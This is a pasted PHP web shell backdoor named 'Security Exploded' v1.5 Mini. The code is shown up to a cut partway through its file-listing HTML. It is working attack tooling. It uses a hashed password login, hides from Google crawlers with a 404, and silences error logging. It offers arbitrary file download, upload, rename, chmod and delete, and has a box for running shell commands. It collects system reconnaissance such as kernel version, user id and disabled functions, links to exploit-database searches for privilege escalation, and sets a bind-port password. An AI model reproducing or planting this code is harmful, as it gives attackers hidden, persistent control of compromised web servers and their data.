· 8 years ago · Jul 07, 2018, 07:14 AM
1<?php
2$xName = "Security Exploded";
3$versi = "v1.5 Mini"; // Shell Version
4$default_action = 'FilesMan';
5$color = "#00ff00";
6$pass = "1dd4e395085159a2e715b751a4c38043";
7@define('SELF_PATH', __FILE__);
8@define('DIRECTORY_SEPARATOR','\\');
9if (strpos($_SERVER['HTTP_USER_AGENT'], 'Google') !== false) {
10 header('HTTP/1.0 404 Not Found');
11 exit;
12}
13@session_start();
14@error_reporting(0);
15@ini_set('error_log', NULL);
16@ini_set('log_errors', 0);
17@ini_set('max_execution_time', 0);
18@ini_set('output_buffering', 0);
19@ini_set('display_errors', 0);
20@set_time_limit(0);
21@define('VERSION', '2.1');
22if (get_magic_quotes_gpc()) {
23 function stripslashes_array($array) {
24 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
25 }
26 $_POST = stripslashes_array($_POST);
27}
28function printLogin() {
29?><html><head>
30<link rel="SHORTCUT ICON" href="http://oi58.tinypic.com/10r33mq.jpg">
31<title>Security Exploded</title>
32</head>
33<body>
34<style type="text/css">
35body { background-color:transparan;background:#000;background-image: url("http://oi60.tinypic.com/in74pi.jpg");background-position: center; background-attachment: fixed;background-repeat: repeat; }
36.tabnez{ margin:30px auto 0 auto;border: 1px solid #333333; color: grey;
37-moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;}
38body,td,th {font-family: Verdana;font-size: 12px;color: grey;font-weight: bold;}
39input {BORDER-RIGHT:grey 1px solid;BORDER-TOP:grey 1px solid;BORDER-LEFT:grey 1px solid;BORDER-BOTTOM: grey 1px solid;BACKGROUND-COLOR: #111111;COLOR: grey;font: 8pt Verdana;}
40</style><style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1048.cur), progress !important;}</style>
41
42<img src="http://oi58.tinypic.com/2u8fmnn.jpg" title="./Port22" style="float:left" alt="Exploded" height='250' width='700'/>
43<br><br><br><br><br><br><br><br><br><center>
44<table>
45<form method='post'>
46<tr>
47<td><img src='http://oi58.tinypic.com/10r33mq.jpg' class="tabnez" height='20' width='24'></td>
48<td><input class="tabnez" type="password" name="pass" placeholder="Password"></td>
49<td><input class="tabnez" type="submit" value="Login !"></td>
50</tr>
51</form>
52</table>
53</body>
54</html>
55 <?php
56 exit;
57}
58if (!isset($_SESSION[md5($_SERVER['HTTP_HOST']) ])) if (empty($pass) || (isset($_POST['pass']) && (md5($_POST['pass']) == $pass))) $_SESSION[md5($_SERVER['HTTP_HOST']) ] = true;
59else printLogin();
60@ini_set('log_errors', 0);
61@ini_set('display_errors', 0);
62@ini_set('output_buffering', 0);
63@ini_set('file_uploads', 1);
64if (isset($_GET['dl']) && ($_GET['dl'] != "")) {
65 $file = $_GET['dl'];
66 $filez = @file_get_contents($file);
67 header("Content-type: application/octet-stream");
68 header("Content-length: " . strlen($filez));
69 header("Content-disposition: attachment; filename=\"" . basename($file) . "\";");
70 echo $filez;
71 exit;
72} elseif (isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")) {
73 $file = $_GET['dlgzip'];
74 $filez = gzencode(@file_get_contents($file));
75 header("Content-Type:application/x-gzip
76");
77 header("Content-length: " . strlen($filez));
78 header("Content-disposition: attachment; filename=\"" . basename($file) . ".gz\";");
79 echo $filez;
80 exit;
81}
82// view image
83if (isset($_GET['img'])) {
84 @ob_clean();
85 $d = magicboom($_GET['y']);
86 $f = $_GET['img'];
87 $inf = @getimagesize($d . $f);
88 $ext = explode($f, ".");
89 $ext = $ext[count($ext) - 1];
90 @header("Content-type: " . $inf["mime"]);
91 @header("Cache-control: public");
92 @header("Expires: " . date("r", mktime(0, 0, 0, 1, 1, 2030)));
93 @header("Cache-control: max-age=" . (60 * 60 * 24 * 7));
94 @readfile($d . $f);
95 exit;
96}
97//php info
98$phpinfo = "?&x=phpinfo";
99// Server software
100$software = getenv("SERVER_SOFTWARE");
101// CMD
102$cmdbox = "help";
103// Server Port
104$serverport = $_SERVER["SERVER_PORT"];
105// Backdoor Name
106$backdoor_name = "$title ";
107// check safemode
108if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE;
109else $safemode = FALSE;
110// uname -a
111$system = @php_uname();
112// detector
113function showstat($stat) {
114 if ($stat == "on") {
115 return "<b><font style='color:#00FF00'>ON</font></b>";
116 } else {
117 return "<b><font style='color:#ff0000'>OFF</font></b>";
118 }
119}
120function testmysql() {
121 if (function_exists('mysql_connect')) {
122 return showstat("on");
123 } else {
124 return showstat("off");
125 }
126}
127function testcurl() {
128 if (function_exists('curl_version')) {
129 return showstat("on");
130 } else {
131 return showstat("off");
132 }
133}
134function testwget() {
135 if (exe('wget --help')) {
136 return showstat("on");
137 } else {
138 return showstat("off");
139 }
140}
141function testoracle() {
142 if (function_exists('ocilogon')) {
143 return showstat("on");
144 } else {
145 return showstat("off");
146 }
147}
148function testmssql() {
149 if (function_exists('mssql_connect')) {
150 return showstat("on");
151 } else {
152 return showstat("off");
153 }
154}
155function testperl() {
156 if (exe('perl -h')) {
157 return showstat("on");
158 } else {
159 return showstat("off");
160 }
161}
162function testpython() {
163 if (exe('python -h')) {
164 return showstat("on");
165 } else {
166 return showstat("off");
167 }
168}
169function testruby() {
170 if (exe('ruby -h')) {
171 return showstat("on");
172 } else {
173 return showstat("off");
174 }
175}
176function testgcc() {
177 if (exe('gcc --help')) {
178 return showstat("on");
179 } else {
180 return showstat("off");
181 }
182}
183function testjava() {
184 if (exe('java -h')) {
185 return showstat("on");
186 } else {
187 return showstat("off");
188 }
189}
190// check os
191if (strtolower(substr($system, 0, 3)) == "win") $win = TRUE;
192else $win = FALSE;
193// change directory
194if (isset($_GET['y'])) {
195 if (@is_dir($_GET['view'])) {
196 $pwd = $_GET['view'];
197 @chdir($pwd);
198 } else {
199 $pwd = $_GET['y'];
200 @chdir($pwd);
201 }
202}
203//hdd
204function convertByte($s) {
205 if ($s <= 0) return 0;
206 $w = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
207 $e = floor(log($s) / log(1024));
208 return sprintf('%.2f ' . $w[$e], ($s / pow(1024, floor($e))));
209}
210//
211// username, id, shell prompt and working directory
212if (!$win) {
213 if (!$user = rapih(exe("whoami"))) $user = "";
214 if (!$id = rapih(exe("id"))) $id = "";
215 $prompt = $user . " \$ ";
216 $pwd = @getcwd() . DIRECTORY_SEPARATOR;
217} else {
218 $user = @get_current_user();
219 $id = $user;
220 $prompt = $user . " >";
221 $pwd = realpath(".") . "\\";
222 // find drive letters
223 $v = explode("\\",$d);
224 $v = $v[0];
225 foreach (range("A","Z") as $letter)
226 {
227 $bool = @is_dir($letter.":\\");
228 if ($bool)
229 {
230 $letters .= " <a href = \"?y=" . $letter . ":\">[ ";
231 if ($letter . ":" != $v) {
232 $letters.= $letter;
233 } else {
234 $letters.= "<span class=\"gaya\">" . $letter . "</span>";
235 }
236 $letters.= " </a>] ";
237 }
238}
239}
240function getrealip() {
241 if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
242 $ip = $_SERVER['HTTP_CLIENT_IP'];
243 } elseif (!empty($SERVER['HTTP_X_FORWARDED_FOR']))
244 //TO CHEK IP IS PASS FROM PROXY
245 {
246 $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
247 } else {
248 $ip = $_SERVER['REMOTE_ADDR'];
249 }
250 return $ip;
251}
252function showdisablefunctions() {
253 if ($disablefunc = @ini_get("disable_functions")) {
254 return "<span style='color:#ff0000'><b>" . $disablefunc . "</b></span>";
255 } else {
256 return "<span style='color:#00FF00'><b>NONE</b></span>";
257 }
258}
259if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
260else $posix = FALSE;
261// server ip
262$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
263// your ip ;-)
264$my_ip = $_SERVER['REMOTE_ADDR'];
265$admin_id = $_SERVER['SERVER_ADMIN'];
266$bindport = "13123";
267$bindport_pass = "exploded";
268// Security Exploded
269$uplink = "http://www.security-exploded.org/search/label/Exploded%20Shell%20Backdoor";
270//wilworm
271$release = @php_uname('r');
272$kernel = @php_uname('s');
273$millink = 'http://milw0rm.com/search.php?dong=';
274if (strpos('Linux', $kernel) !== false) $millink.= urlencode('Linux Kernel ' . substr($release, 0, 6));
275else $millink.= urlencode($kernel . ' ' . substr($release, 0, 3));
276if (!function_exists('posix_getegid')) {
277 $user = @get_current_user();
278 $uid = @getmyuid();
279 $gid = @getmygid();
280 $group = "?";
281} else {
282 $uid = @posix_getpwuid(@posix_geteuid());
283 $gid = @posix_getgrgid(@posix_getegid());
284 $user = $uid['name'];
285 $uid = $uid['uid'];
286 $group = $gid['name'];
287 $gid = $gid['gid'];
288}
289// Exploit-db
290$release = @php_uname('r');
291$kernel = @php_uname('s');
292$explink = 'http://exploit-db.com/search/?action=search&filter_description=';
293if (strpos('Linux', $kernel) !== false) $explink.= urlencode('Linux Kernel ' . substr($release, 0, 6));
294else $explink.= urlencode($kernel . ' ' . substr($release, 0, 3));
295if (!function_exists('posix_getegid')) {
296 $user = @get_current_user();
297 $uid = @getmyuid();
298 $gid = @getmygid();
299 $group = "?";
300} else {
301 $uid = @posix_getpwuid(@posix_geteuid());
302 $gid = @posix_getgrgid(@posix_getegid());
303 $user = $uid['name'];
304 $uid = $uid['uid'];
305 $group = $gid['name'];
306 $gid = $gid['gid'];
307}
308// separate the working direcotory
309$pwds = explode(DIRECTORY_SEPARATOR, $pwd);
310$pwdurl = "";
311for ($i = 0;$i < sizeof($pwds) - 1;$i++) {
312 $pathz = "";
313 for ($j = 0;$j <= $i;$j++) {
314 $pathz.= $pwds[$j] . DIRECTORY_SEPARATOR;
315 }
316 $pwdurl.= "<a href=\"?y=" . $pathz . "\">" . $pwds[$i] . " " . DIRECTORY_SEPARATOR . " </a>";
317}
318// Rename file or folder
319if (isset($_POST['Rename'])) {
320 $old = $_POST['oldname'];
321 $new = $_POST['newname'];
322 @Rename($pwd . $old, $pwd . $new);
323 $file = $pwd . $new;
324}
325if (isset($_POST['uploadcompt'])) {
326 if (is_uploaded_file($_FILES['file']['tmp_name'])) {
327 $path = magicboom($_POST['path']);
328 $fname = $_FILES['file']['name'];
329 $tmp_name = $_FILES['file']['tmp_name'];
330 $pindah = $path . $fname;
331 $stat = @move_uploaded_file($tmp_name, $pindah);
332 }
333}
334if ($_POST['_upl'] == "Upload") {
335 if (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
336 echo '';
337 } else {
338 echo '';
339 }
340}
341if (isset($_POST['Chmod'])) {
342 $name = $_POST['name'];
343 $value = $_POST['newvalue'];
344 if (strlen($value) == 3) {
345 $value = 0 . "" . $value;
346 }
347 @Chmod($pwd . $name, octdec($value));
348 $file = $pwd . $name;
349}
350if (isset($_POST['Chmod_folder'])) {
351 $name = $_POST['name'];
352 $value = $_POST['newvalue'];
353 if (strlen($value) == 3) {
354 $value = 0 . "" . $value;
355 }
356 @Chmod($pwd . $name, octdec($value));
357 $file = $pwd . $name;
358}
359//////////////////////////////////
360// print useful info
361$buff = "Shell Backdoor : <b><font style='color:$color'> $backdoor_name $versi</font><b> <span class=\"gaya\"></a></b></b></font><b><span class=\"gaya\"> | </span><a href='$uplink' title='Search Shell Backdoor From Security Exploded' target='_blank'><font style='color:#ff0000'>[ Security Exploded ]</a></b></font><br>Version : <b><font style='color:$color'>" . $versi . "</font></a></b><br> Software : <b>" . $software . "</b><br />";
362$buff.= "System OS : <b>" . $system . " | <a href='http://www.google.com/search?q=" . urlencode(@php_uname()) . "' title='Search System OS From Google' target='_blank'><font style='color:#ff0000'>[ Google ]</font></a> | <a href='" . $millink . "' title='Search Karnel From Milw0rm' target=_blank><font style='color:#ff0000'>[ Milw0rm ]</font></a> | <a href='" . $explink . "' title='Search Karnel From Exploit-db' target=_blank><font style='color:#ff0000'>[ Exploit-db ]</font></a></b><br />";
363if ($id != "") $buff.= "ID : <b>" . $id . "</b><br />";
364$buff.= "PHP Version : <b>" . phpversion() . "</b> ON <b>" . php_sapi_name() . "<span class=\"gaya\"> | </span><a href='$phpinfo' title='PHP Info'><font style='color:#ff0000'>[ PHP Info ]</font></a> </b><br />";
365$buff.= "Server IP : <b><font style='color:#ff0000'>" . $server_ip . "</font></b> <span class=\"gaya\"> | </span> Port Server : <b><font style='color:#ff0000'>" . $serverport . "</font></b><span class=\"gaya\"> | </span> Your IP Surving : <b><a href='http://www.dnsstuff.com/tools?runFromMain=" . getrealip() . "&toolType=traceroute' title='Traceroute Your IP' target='_blank'><font style='color:#ff0000'>" . getrealip() . "<font></a></b><span class=\"gaya\"> | </span> Admin : <b>" . $admin_id . "</b><br />";
366$buff.= "Free Disk: <font style='color:#ff0000'><b>" . convertByte(disk_free_space("/")) . " <span class=\"gaya\"> / </span> " . convertByte(disk_total_space("/")) . "</b></font></span><br />";
367if ($safemode) $buff.= "Safemode: <span class=\"gaya\"><font style='color:#ff0000'><b>ON</b></font></span><br />";
368else $buff.= "Safemode: <span class=\"gaya\"><b>OFF</b></span><br />";
369$buff.= "Disable Functions: " . showdisablefunctions() . "<br />";
370$buff.= "MySQL: " . testmysql() . " | MSSQL: " . testmssql() . " | Oracle: " . testoracle() . " | Perl: " . testperl() . " | Python: " . testpython() . " | Ruby: " . testruby() . " | Java: " . testjava() . " | GCC: " . testgcc() . " | cURL: " . testcurl() . " | WGet: " . testwget() . "<br>";
371$buff.= "<font color=00ff00 >Drive : <b>" . $letters . " > " . $pwdurl . "</b></font>";
372function rapih($text) {
373 return trim(str_replace("<br />", "", $text));
374}
375function magicboom($text) {
376 if (!get_magic_quotes_gpc()) {
377 return $text;
378 }
379 return stripslashes($text);
380}
381function showdir($pwd, $prompt) {
382 $fname = array();
383 $dname = array();
384 if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
385 else $posix = FALSE;
386 $user = "????:????";
387 if ($dh = @scandir($pwd)) {
388 foreach ($dh as $file) {
389 if (is_dir($file)) {
390 $dname[] = $file;
391 } elseif (is_file($file)) {
392 $fname[] = $file;
393 }
394 }
395 } else {
396 if ($dh = @opendir($pwd)) {
397 while ($file = @readdir($dh)) {
398 if (@is_dir($file)) {
399 $dname[] = $file;
400 } elseif (@is_file($file)) {
401 $fname[] = $file;
402 }
403 }
404 @closedir($dh);
405 }
406 }
407 sort($fname);
408 sort($dname);
409 $path = @explode(DIRECTORY_SEPARATOR, $pwd);
410 $tree = @sizeof($path);
411 $parent = "";
412 $buff = "<center>
413 <form action=\"?y=" . $pwd . "&x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
414 <table class=\"cmdbox\" style=\"width:45%;\">
415 <tr><td><b>$prompt</b></td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=help /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
416 </form>
417 <form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
418 <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" />
419 <tr><td><b>View </b></td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"" . $pwd . "\" /><input class=\"inputzbut\" type=\"submit\" value=\"View !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr></center>
420
421 </form></table><br><table class=\"explore\">
422 <tr><th>Name</th><th style=\"width:80px;\">Size</th><th style=\"width:210px;\">Owner:Group</th><th style=\"width:80px;\">Perms</th><th style=\"width:110px;\">Modified</th><th style=\"width:190px;\">Actions</th></tr>
423 ";
424 if ($tree > 2) for ($i = 0;$i < $tree - 2;$i++) $parent.= $path[$i] . DIRECTORY_SEPARATOR;
425 else $parent = $pwd;
426 foreach ($dname as $folder) {
427 if ($folder == ".") {
428 if (!$win && $posix) {
429 $name = @posix_getpwuid(@fileowner($folder));
430 $group = @posix_getgrgid(@filegroup($folder));
431 $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
432 } else {
433 $owner = $user;
434 }
435 $buff.= "<tr><td><a href=\"?y=" . $pwd . "\">$folder</a></td><td>-</td>
436 <td style=\"text-align:center;\">" . $owner . "</td><td><center>" . get_perms($pwd) . "</center></td>
437 <td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($pwd)) . "</td><td><span id=\"titik1\">
438 <a href=\"?y=$pwd&edit=" . $pwd . "newfile.php\">New File</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">New Folder</a> | <a href=\"javascript:tukar('titik1','titik4_form');\">Upload</a></span>
439 <form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
440 <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" />
441 <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
442 <input class=\"inputzbut\" type=\"submit\" name=\"Rename\" style=\"width:35px;\" value=\"Go !\" />
443 </form>
444 <form action=\"\" id=\"titik4_form\" method=\"post\" enctype=\"multipart/form-data\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
445 <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" />
446 <input class=\"inputz\" type=\"file\" name=\"file\" size=\"20\"/><br>
447 <input class=\"inputzbut\" name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"/>
448 <input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\"
449 onclick=\"tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form3');\" />
450 </form></td>
451
452 </tr>
453 ";
454 } elseif ($folder == "..") {
455 if (!$win && $posix) {
456 $name = @posix_getpwuid(@fileowner($folder));
457 $group = @posix_getgrgid(@filegroup($folder));
458 $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
459 } else {
460 $owner = $user;
461 }
462 $buff.= "<tr><td><a href=\"?y=" . $parent . "\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'></a></td><td>-</td>
463 <td style=\"text-align:center;\">" . $owner . "</td>
464 <td><center>" . get_perms($parent) . "</center></td><td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($parent)) . "</td>
465 <td><span id=\"titik2\"><a href=\"?y=$pwd&edit=" . $parent . "newfile.php\">New File</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">New Folder</a> | <a href=\"javascript:tukar('titik2','titik3_form');\">Upload</a></span>
466 <form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
467 <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" />
468 <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
469 <input class=\"inputzbut\" type=\"submit\" name=\"Rename\" style=\"width:35px;\" value=\"Go !\" />
470 </form>
471 <form action=\"\" id=\"titik3_form\" method=\"post\" enctype=\"multipart/form-data\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
472 <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" />
473 <input class=\"inputz\" type=\"file\" name=\"file\" size=\"20\"/><br>
474 <input class=\"inputzbut\" name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"/>
475 <input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\"
476 onclick=\"tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form3');\" />
477 </form>
478 </td></tr>";
479 } else {
480 if (!$win && $posix) {
481 $name = @posix_getpwuid(@fileowner($folder));
482 $group = @posix_getgrgid(@filegroup($folder));
483 $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
484 } else {
485 $owner = $user;
486 }
487 $buff.= "<tr><td><a id=\"" . clearspace($folder) . "_link\" href=\"?y=" . $pwd . $folder . DIRECTORY_SEPARATOR . "\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==' /> [ $folder ]</b></a>
488 <form action=\"?y=$pwd\" method=\"post\" id=\"" . clearspace($folder) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
489 <input type=\"hidden\" name=\"oldname\" value=\"" . $folder . "\" style=\"margin:0;padding:0;\" />
490 <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $folder . "\" />
491 <input class=\"inputzbut\" type=\"submit\" name=\"Rename\" value=\"Rename\" />
492 <input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\" onclick=\"tukar('" . clearspace($folder) . "_form','" . clearspace($folder) . "_link');\" />
493 </form><td>DIR</td><td style=\"text-align:center;\">" . $owner . "</td>
494 <td><center>
495 <a href=\"javascript:tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form3');\">" . get_perms($pwd . $folder) . "</a>
496 <form action=\"?y=$pwd\" method=\"post\" id=\"" . clearspace($folder) . "_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
497 <input type=\"hidden\" name=\"name\" value=\"" . $folder . "\" style=\"margin:0;padding:0;\" />
498 <input class=\"inputz\" style=\"width:150px;\" type=\"text\" name=\"newvalue\" value=\"" . substr(sprintf('%o', fileperms($pwd . $folder)), -4) . "\" />
499 <input class=\"inputzbut\" type=\"submit\" name=\"Chmod_folder\" value=\"Chmod\" />
500 <input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\"
501 onclick=\"tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form3');\" /></form></center></td>
502 <td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($folder)) . "</td>
503 <td><a href=\"javascript:tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form');\">Rename</a> | <a href=\"javascript:tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form4');\">Upload</a> | <a href=\"?y=$pwd&fdelete=" . $pwd . $folder . "\">Delete</a></span>
504 <form action=\"\" id=\"" . clearspace($folder) . "_form4\" method=\"post\" enctype=\"multipart/form-data\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
505 <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" />
506 <input class=\"inputz\" type=\"file\" name=\"file\" size=\"20\"/><br>
507 <input class=\"inputz\" name=\"path\" type=\"text\" size=\"33\" value=\"" . $pwd . $folder . DIRECTORY_SEPARATOR . "\" /><br>
508 <input class=\"inputzbut\" name=\"uploadcompt\" type=\"submit\" value=\"Upload\"/>
509 <input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\"
510 onclick=\"tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form4');\" />
511 </form>
512 </td></tr>";
513 }
514 }
515 foreach ($fname as $file) {
516 $full = $pwd . $file;
517 if (!$win && $posix) {
518 $name = @posix_getpwuid(@fileowner($folder));
519 $group = @posix_getgrgid(@filegroup($folder));
520 $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
521 } else {
522 $owner = $user;
523 }
524 $buff.= "<tr><td><a id=\"" . clearspace($file) . "_link\" href=\"?y=$pwd&view=$full\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' /> $file</b></a>
525 <form action=\"?y=$pwd\" method=\"post\" id=\"" . clearspace($file) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
526 <input type=\"hidden\" name=\"oldname\" value=\"" . $file . "\" style=\"margin:0;padding:0;\" />
527 <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $file . "\" />
528 <input class=\"inputzbut\" type=\"submit\" name=\"Rename\" value=\"Rename\" />
529 <input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\" onclick=\"tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');\" />
530 </form></td><td>" . ukuran($full) . "</td><td style=\"text-align:center;\">" . $owner . "</td><td><center>
531 <a href=\"javascript:tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form2');\">" . get_perms($full) . "</a>
532 <form action=\"?y=$pwd\" method=\"post\" id=\"" . clearspace($file) . "_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
533<input type=\"hidden\" name=\"name\" value=\"" . $file . "\" style=\"margin:0;padding:0;\" />
534<input class=\"inputz\" style=\"width:150px;\" type=\"text\" name=\"newvalue\" value=\"" . substr(sprintf('%o', fileperms($full)), -4) . "\" />
535<input class=\"inputzbut\" type=\"submit\" name=\"Chmod\" value=\"Chmod\" />
536<input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\" onclick=\"tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form2');\" /></form></center></td>
537 <td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($full)) . "</td>
